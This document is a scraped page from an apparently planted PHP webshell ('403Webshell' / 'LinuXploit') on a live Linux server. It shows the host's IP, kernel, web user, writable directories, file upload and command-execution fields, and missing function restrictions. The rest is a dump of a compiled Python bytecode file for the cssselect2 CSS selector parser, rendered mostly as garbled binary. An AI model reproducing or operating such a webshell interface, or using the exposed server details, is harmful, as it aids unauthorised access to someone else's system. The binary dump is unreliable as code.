403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/calpy/cssselect2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/calpy/cssselect2/__pycache__/parser.cpython-311.pyc
�

ϥ=j�?���ddlmZdgZhd�Zd0d�Zd1d�Zd�Zd	�Zd
�Zd�Z	d�Z
d1d
�ZGd�de��Z
Gd�d��ZGd�d��ZGd�d��ZGd�d��ZGd�d��ZGd�d��ZGd�d��ZGd�d��ZGd �d!��ZGd"�d#��ZGd$�d%��ZGd&�d'��ZGd(�d)��ZGd*�d+��ZGd,�d-��ZGd.�d/��ZdS)2�)�parse_component_value_list�parse>�target-text�
footnote-call�
grammar-error�spelling-error�footnote-marker�file-selector-button�after�before�marker�prefix�shadow�content�postfix�	selection�placeholder�
first-line�first-letterNFc#�K�t|t��rt|��}t|��}|pi}	t	|||��V�n#t
$r}|rYd}~dS|�d}~wwxYw	|���}|�dS|dkr0	t	|||��V�n6#t
$r}|s|�Yd}~n#d}~wwxYw|st|d|j�d�����j)z�Yield tinycss2 selectors found in given ``input``.

    :param input:
        A string, or an iterable of tinycss2 component values.

    N��,�unexpected � token.)�
isinstance�strr�TokenStream�parse_selector�
SelectorError�next�type)�input�
namespaces�	forgiving�relative�tokens�	exceptionr s       �D/tmp/claude-1015/pip-target-jmvfl800/lib/python/cssselect2/parser.pyrrsQ�����%����2�*�5�1�1��
��
�
�F��!�r�J���V�Z��:�:�:�:�:�:�������	��F�F�F�F�F�����������L��{�{�}�}���<��F�
�S�[�[�
$�$�V�Z��B�B�B�B�B�B�� �
$�
$�
$� �$�#�O�$�$�$�$�$�����
$�����
L�#�D�*J��	�*J�*J�*J�K�K�K�Ls5�A�
A(�A#�!A#�#A(�B�
B7�)B2�2B7c��|���|rJ|���}|dvr|j}|���nd}|���t	||��\}}	|���}|���r*|���p|}|����*t||��}|rt||��}|�|S|���}|�|dkr|S|dvr|j}	|���n|rd}	n|St	||��\}
}t||	|
��}��)N)�>�+�~� rr)
�skip_whitespace_and_comment�peek�valuer �parse_compound_selector�skip_whitespace�skip_comment�Selector�RelativeSelector�CombinedSelector)r&r#r%r/�initial_combinator�result�pseudo_element�has_whitespace�selector�
combinator�compounds           r(rr1s���
�&�&�(�(�(��-��{�{�}�}���?�"�"�!%����K�K�M�M�M�M�!$���*�*�,�,�,�4�V�Z�H�H��F�N�@��/�/�1�1���!�!�#�#�	H�#�3�3�5�5�G��N��!�!�#�#�	H��F�N�3�3���	F�'�(:�H�E�E�H��%��O��{�{�}�}���<�4�3�;�;��O�
�_�
$�
$���J��K�K�M�M�M�M�
�	��J�J��O�#:�6�:�#N�#N� ��.�!�&�*�h�?�?��)@�c�&�t||��}|�|ng}	t||��\}}|�|�n|�|���.|s||fdkrt|��|fS|���}|r|jnd}t
|d|�����)Nr�NN�EOFz"expected a compound selector, got )�parse_type_selector�parse_simple_selector�append�CompoundSelectorr/r!r)r&r#�type_selectors�simple_selectors�simple_selectorr9r/�	peek_types        r(r1r1Ss���(���<�<�N�)7�)C�~�~���1�*?��J�+ �+ �'����%��)@������0�0�0�1��B�N�N�;�|�K�K�� 0�1�1�>�A�A��;�;�=�=�D�!�,��	�	�u�I�
��N�9�N�N�
O�
O�Or>c���|���t||��}|�dSg}|\}}|�"|�t|����|�"|�t	|����|S�N)r2�parse_qualified_namerD�LocalNameSelector�NamespaceSelector)r&r#�qualified_namerG�	namespace�
local_names      r(rBrBes���
������)�&�*�=�=�N����t���*��I�z������ 1�*� =� =�>�>�>������ 1�)� <� <�=�=�=��r>c�&�|���}|�dS|jdkr1|jr*|���t	|j��dfS|dkr^|���|���}|�|jdkrt
|d|�����t|j��dfS|jdkr:|���tt|j
��|��}|dfS|dk�r|���|���}|dkr[|���}|�|jdkrt
|d|�����|j}|tvrt
|d	|�����d|fS|�+|jdkr |j}|d
vrd|fSt|��dfS|�@|jdkr5|j}|dvrt|||��dfSt!||j��dfSt
|d
|�d����dS)Nr@�hash�.�identzExpected a class name, got z[] block�:z$Expected a pseudo-element name, got z)Expected a supported pseudo-element, got )rrrr�function)�is�where�not�hasrr)r/r!�
is_identifierr �
IDSelectorr0r�
ClassSelector�parse_attribute_selectorrr�lower_value�SUPPORTED_PSEUDO_ELEMENTS�PseudoClassSelector�
lower_name�parse_logical_combination�FunctionalPseudoClassSelector�	arguments)r&r#r/r �attrr0�names       r(rCrCtsK���;�;�=�=�D��|��z��y�F���t�1�����
�
�
��$�*�%�%�t�+�+�	
�������
�
�
��{�{�}�}���<�4�9��/�/���&J�D�&J�&J�K�K�K��T�Z�(�(�$�.�.�	
��j�	 �	 ����
�
�
�'��D�L�(A�(A�:�N�N���T�z��	
�������
�
�
��{�{�}�}���3�;�;��;�;�=�=�D��|�t�y�G�3�3�#�D�*W�QU�*W�*W�X�X�X��$�E��5�5�5�#��M�e�M�M�O�O�O���;��
�
�$�)�w�"6�"6��#�D��H�H�H��T�z�!�*�4�0�0�$�6�6�
�
�$�)�z�"9�"9��?�D��4�4�4�0��z�4�H�H�$�N�N�5�d�D�N�K�K�T�R�R���&A�D�&A�&A�&A�B�B�B��zr>c���d}d}|dkrt}n-|dkrt}n|dkr
d}t}n|dkr	d}t}d�t	|j|||��D��}||��S)NTFrXrYrZr[c� �g|]}|j�	|��SrK)r9��.0r;s  r(�
<listcomp>z-parse_logical_combination.<locals>.<listcomp>�s+��,�,�,���"�*�	�*�*�*r>)�MatchesAnySelector�SpecificityAdjustmentSelector�NegationSelector�RelationalSelectorrrf)�matches_any_tokenr#rhr$r%�selector_class�	selectorss       r(rdrd�s����I��H��t�|�|�+���	
����6���	
�����	�)���	
������+��,�,�
��)�:�y�(�K�K�,�,�,�I��>�)�$�$�$r>c�x�|���t||d���}|�'|���}t|d|�����|\}}|���|���}|�d}d}n�|dvrt|j}|���|���|���}|�	|jdvr|�dn|j}	t|d|	�����|j}nt|d|�����|���|���}d}
|�n|jd	kr |j���d
krd}
nC|jd	kr |j���dkrd}
nt|d
|j�����t|||||
��S)NT)�is_attributezexpected attribute name, got )�=z~=z|=z^=z$=z*=)rU�string�Nonezexpected attribute value, got z*expected attribute selector operator, got rU�iF�szexpected ], got )	r2rLr rr/r0r!�lower�AttributeSelector)r&r#rOr rPrQr/�operatorr0�	next_type�case_sensitives           r(r_r_�s���
������)�&�*�4�P�P�P�N����{�{�}�}���D�"H�$�"H�"H�I�I�I�*��I�z�
�������;�;�=�=�D��|������	
�4�	4�	4��:�����
�
�
���� � � ��{�{�}�}���<�4�9�,?�?�?�"&�,���D�I�I���&R�y�&R�&R�S�S�S��
����D�"U�t�"U�"U�V�V�V�
�������;�;�=�=�D��N����9����D�J�$4�$4�$6�$6�#�$=�$=�"�N�N�
�Y�'�
!�
!�d�j�&6�&6�&8�&8�C�&?�&?�!�N�N���&D���&D�&D�E�E�E��Y�
�H�e�^�T�T�Tr>c�h�|���}|�dS|jdkr�|���}|���}|dkr*|rdn|�dd��}||j|jffS|���|�|j��}|�t
|d|j�����n�|dkrw|���}|���}|dkr2|rt
|d|j�����|�dd��dfS|���d}n|dkr|���d}ndS|���}|jdkr||j|jffS|dkr|s|dfSt
|d|j�����)z�Return ``(namespace, local)`` for given tokens.

    Can also return ``None`` for a wildcard.

    The empty string for ``namespace`` means "no namespace".

    NrU�|�zundefined namespace prefix: �*zexpected local name, got )r/r!r �getr0r`r)r&r#rvr/�first_identrPr s       r(rLrL�s����;�;�=�=�D��|��t��y�G����k�k�m�m���{�{�}�}���3�;�;�*�J���
���t�T�0J�0J�I��{�0�+�2I�J�J�J����
�
�
��N�N�;�#4�5�5�	�����O�K�<M�O�O�Q�Q�
Q��
�����{�{�}�}���{�{�}�}���3�;�;��
S�#�D�*Q�d�i�*Q�*Q�R�R�R��>�>�$��-�-�t�3�3����
�
�
��	�	�	
�������
�
�
��	�	��t��;�;�=�=�D��y�G����4�:�t�'7�8�8�8�	
����\���$����D�"I�d�i�"I�"I�J�J�Jr>c��eZdZdZdS)rz3A specialized ``ValueError`` for invalid selectors.N)�__name__�
__module__�__qualname__�__doc__�r>r(rr
s������=�=�=�=r>rc�8�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	dS)	rc�<�t|��|_g|_dSrK)�iterr&�peeked)�selfr&s  r(�__init__zTokenStream.__init__s���6�l�l�������r>c�l�|jr|j���St|jd��SrK)r��popr r&�r�s r(r zTokenStream.nexts0���;�	+��;�?�?�$�$�$����T�*�*�*r>c��|js-|j�t|jd����|jdS)N���)r�rDr r&r�s r(r/zTokenStream.peeks:���{�	8��K���t�D�K��6�6�7�7�7��{�2��r>c�z�d}	|���}|�	|j|vrn|���d}�7|S)NFrT)r/r!r )r��
skip_types�foundr/s    r(�skipzTokenStream.skip!sK����	��9�9�;�;�D��|�t�y�
�:�:���I�I�K�K�K��E�	��r>c�.�|�dg��S)N�
whitespace�r�r�s r(r2zTokenStream.skip_whitespace+s���y�y�,��(�(�(r>c�.�|�dg��S)N�commentr�r�s r(r3zTokenStream.skip_comment.s���y�y�)��%�%�%r>c�0�|�ddg��S)Nr�r�r�r�s r(r.z'TokenStream.skip_whitespace_and_comment1s���y�y�)�\�2�3�3�3r>N)
r�r�r�r�r r/r�r2r3r.r�r>r(rrs}���������+�+�+����
���)�)�)�&�&�&�4�4�4�4�4r>rc��eZdZdd�Zd�ZdS)r4Nc�r�||_||_|�|j|_dS|j\}}}|||dzf|_dS)Nr)�parsed_treer9�specificity)r��treer9�a�b�cs      r(r�zSelector.__init__6sO�����,����!�#�/�D�����&�G�A�q�!� �!�Q��U�{�D���r>c�>�|jr
d|j��nd}|j�|��S)Nz::r�)r9r�)r��pseudos  r(�__repr__zSelector.__repr__@s4��/3�/B�J�+�d�)�+�+�+����"�.�f�.�.�.r>rK)r�r�r�r�r�r�r>r(r4r45s7������+�+�+�+�/�/�/�/�/r>r4c�F�eZdZd�Zed���Zed���Zd�ZdS)r5c�"�||_||_dSrK�r<r;)r�r<r;s   r(r�zRelativeSelector.__init__Fs��$��� ��
�
�
r>c��|jjSrK)r;r�r�s r(r�zRelativeSelector.specificityJs
���}�(�(r>c��|jjSrK)r;r9r�s r(r9zRelativeSelector.pseudo_elementNs
���}�+�+r>c�J�|jdkr|j�n|j�d|j��S)Nr-r�r�s r(r�zRelativeSelector.__repr__Rs3��$(�O�s�$:�$:�t�}� � ��O�7�7�d�m�7�7�	9r>N)r�r�r�r��propertyr�r9r�r�r>r(r5r5Esh������!�!�!��)�)��X�)��,�,��X�,�9�9�9�9�9r>r5c�0�eZdZd�Zed���Zd�ZdS)r6c�0�||_||_||_dSrK��leftr<�right)r�r�r<r�s    r(r�zCombinedSelector.__init__Ys����	�$�����
�
�
r>c�^�|jj\}}}|jj\}}}||z||z||zfSrK)r�r�r�)r��a1�b1�c1�a2�b2�c2s       r(r�zCombinedSelector.specificityas;���Y�*�
��B���Z�+�
��B���B�w��R���b��(�(r>c�0�|j�|j�|j��SrKr�r�s r(r�zCombinedSelector.__repr__gs���)�>�t��>��
�>�>�>r>N�r�r�r�r�r�r�r�r�r>r(r6r6XsM����������)�)��X�)�
?�?�?�?�?r>r6c�0�eZdZd�Zed���Zd�ZdS)rEc��||_dSrK)rG)r�rGs  r(r�zCompoundSelector.__init__ls�� 0����r>c	��|jr8tttt	d�|jD�������SdS)Nc3�$K�|]}|jV��dSrK�r��rl�sels  r(�	<genexpr>z/CompoundSelector.specificity.<locals>.<genexpr>us$����C�C�c�#�/�C�C�C�C�C�Cr>�rrr)rG�tuple�map�sum�zipr�s r(r�zCompoundSelector.specificityosW��� �	���S�#�C�C�T�-B�C�C�C�#E�F�F�G�G�
G��7r>c�\�d�tt|j����S)Nr�)�joinr��reprrGr�s r(r�zCompoundSelector.__repr__ys!���w�w�s�4��!6�7�7�8�8�8r>Nr�r�r>r(rErEksM������1�1�1�����X��9�9�9�9�9r>rEc��eZdZdZd�Zd�ZdS)rM)rrrc�$�|\|_|_dSrK)rQ�lower_local_name)r�rQs  r(r�zLocalNameSelector.__init__�s��1;�.����.�.�.r>c��|jSrK)rQr�s r(r�zLocalNameSelector.__repr__�s
����r>N�r�r�r�r�r�r�r�r>r(rMrM}s7�������K�<�<�<�����r>rMc��eZdZdZd�Zd�ZdS)rNr�c��||_dSrK�rP)r�rPs  r(r�zNamespaceSelector.__init__�s��#����r>c�2�|jdkrdn
d|j�d�S)Nr�r��{z}|r�r�s r(r�zNamespaceSelector.__repr__�s&���n��*�*�s�s�0H�T�^�0H�0H�0H�Hr>Nr�r�r>r(rNrN�s<�������K�#�#�#�
I�I�I�I�Ir>rNc��eZdZdZd�Zd�ZdS)r])rrrc��||_dSrK�rU)r�rUs  r(r�zIDSelector.__init__�s
����
�
�
r>c��d|j��S)N�#r�r�s r(r�zIDSelector.__repr__�s���4�:���r>Nr�r�r>r(r]r]�s7�������K���� � � � � r>r]c��eZdZdZd�Zd�ZdS)r^�rrrc��||_dSrK��
class_name)r�r�s  r(r�zClassSelector.__init__�s
��$����r>c��d|j��S)NrTr�r�s r(r�zClassSelector.__repr__�s��$�4�?�$�$�$r>Nr�r�r>r(r^r^�s7�������K�%�%�%�%�%�%�%�%r>r^c��eZdZdZd�Zd�ZdS)r}r�c�\�||_|\|_|_||_||_||_dSrK)rPrhrcr~r0r�)r�rPrhr~r0r�s      r(r�zAttributeSelector.__init__�s5��"���%)�"��	�4�?� ��
���
�-����r>c��|j�dn
d|j�d�}|j�dn
d|jrdnd��}d|�|j�|j�|j�|�d	�S)
Nz*|r��}r�r-r{rz�[�])rPr�rhr~r0)r�rPr�s   r(r�zAttributeSelector.__repr__�s��� �N�2�D�D�8O�T�^�8O�8O�8O�	��%�-�B�B�5�t�*�3����5�5�	�
!�	�
!�4�9�
!�d�m�
!�T�Z�
!��
!�
!�
!�	"r>Nr�r�r>r(r}r}�s7�������K�	-�	-�	-�"�"�"�"�"r>r}c��eZdZdZd�Zd�ZdS)rbr�c��||_dSrK�rh)r�rhs  r(r�zPseudoClassSelector.__init__�s
����	�	�	r>c��d|jzS�NrVr�r�s r(r�zPseudoClassSelector.__repr__�s���T�Y��r>Nr�r�r>r(rbrb�s7�������K��������r>rbc��eZdZdZd�Zd�ZdS)rer�c�"�||_||_dSrK)rhrf)r�rhrfs   r(r�z&FunctionalPseudoClassSelector.__init__�s����	�"����r>c�>�d|j�t|j����Sr�)rhr�rfr�s r(r�z&FunctionalPseudoClassSelector.__repr__�s!��7�4�9�7�e�D�N�3�3�7�7�7r>Nr�r�r>r(rere�s7�������K�#�#�#�8�8�8�8�8r>rec�0�eZdZd�Zed���Zd�ZdS)rpc��||_dSrK��
selector_list�r�r�s  r(r�zNegationSelector.__init__����*����r>c�P�|jrtd�|jD����SdS)Nc3�$K�|]}|jV��dSrKr�rks  r(r�z/NegationSelector.specificity.<locals>.<genexpr>��%����O�O��x�+�O�O�O�O�O�Or>r��r��maxr�s r(r�zNegationSelector.specificity��2����	��O�O�D�<N�O�O�O�O�O�O��9r>c�R�dd�d�|jD�����d�S)Nz:not(�, c3�4K�|]}t|��V��dSrK�r�r�s  r(r�z,NegationSelector.__repr__.<locals>.<genexpr>��(���� I� I�s��c��� I� I� I� I� I� Ir>�)�r�r�r�s r(r�zNegationSelector.__repr__��1��L�t�y�y� I� I�d�6H� I� I� I�I�I�L�L�L�Lr>Nr�r�r>r(rprp��R������+�+�+�����X��M�M�M�M�Mr>rpc�0�eZdZd�Zed���Zd�ZdS)rqc��||_dSrKr�r�s  r(r�zRelationalSelector.__init__�r�r>c�P�|jrtd�|jD����SdS)Nc3�$K�|]}|jV��dSrKr�rks  r(r�z1RelationalSelector.specificity.<locals>.<genexpr>�r�r>r�r�r�s r(r�zRelationalSelector.specificity�rr>c�R�dd�d�|jD�����d�S)Nz:has(rc3�4K�|]}t|��V��dSrKrr�s  r(r�z.RelationalSelector.__repr__.<locals>.<genexpr>�rr>rrr�s r(r�zRelationalSelector.__repr__�rr>Nr�r�r>r(rqrq�r	r>rqc�0�eZdZd�Zed���Zd�ZdS)rnc��||_dSrKr�r�s  r(r�zMatchesAnySelector.__init__�r�r>c�P�|jrtd�|jD����SdS)Nc3�$K�|]}|jV��dSrKr�rks  r(r�z1MatchesAnySelector.specificity.<locals>.<genexpr>�r�r>r�r�r�s r(r�zMatchesAnySelector.specificity�rr>c�R�dd�d�|jD�����d�S)Nz:is(rc3�4K�|]}t|��V��dSrKrr�s  r(r�z.MatchesAnySelector.__repr__.<locals>.<genexpr>�s(����H�H�c��S�	�	�H�H�H�H�H�Hr>rrr�s r(r�zMatchesAnySelector.__repr__�s1��K�d�i�i�H�H�T�5G�H�H�H�H�H�K�K�K�Kr>Nr�r�r>r(rnrn�sR������+�+�+�����X��L�L�L�L�Lr>rnc�0�eZdZd�Zed���Zd�ZdS)roc��||_dSrKr�r�s  r(r�z&SpecificityAdjustmentSelector.__init__r�r>c��dS)Nr�r�r�s r(r�z)SpecificityAdjustmentSelector.specificitys���yr>c�R�dd�d�|jD�����d�S)Nz:where(rc3�4K�|]}t|��V��dSrKrr�s  r(r�z9SpecificityAdjustmentSelector.__repr__.<locals>.<genexpr>
s(����"K�"K��4��9�9�"K�"K�"K�"K�"K�"Kr>rrr�s r(r�z&SpecificityAdjustmentSelector.__repr__	s1��N����"K�"K��8J�"K�"K�"K�K�K�N�N�N�Nr>Nr�r�r>r(rorosR������+�+�+�����X��O�O�O�O�Or>ro)NFF)F)�tinycss2r�__all__rarrr1rBrCrdr_rL�
ValueErrorrrr4r5r6rErMrNr]r^r}rbrerprqrnror�r>r(�<module>rs���/�/�/�/�/�/��)��	�	�	��L�L�L�L�@@�@�@�@�DP�P�P�$���,�,�,�^%�%�%�*#U�#U�#U�L,K�,K�,K�,K�^>�>�>�>�>�J�>�>�>�!4�!4�!4�!4�!4�!4�!4�!4�H
/�
/�
/�
/�
/�
/�
/�
/� 9�9�9�9�9�9�9�9�&?�?�?�?�?�?�?�?�&9�9�9�9�9�9�9�9�$��������	I�	I�	I�	I�	I�	I�	I�	I� � � � � � � � �%�%�%�%�%�%�%�%�"�"�"�"�"�"�"�"�0��������8�8�8�8�8�8�8�8�M�M�M�M�M�M�M�M�M�M�M�M�M�M�M�M�L�L�L�L�L�L�L�L�	O�	O�	O�	O�	O�	O�	O�	O�	O�	Or>

Youez - 2016 - github.com/yon3zu
LinuXploit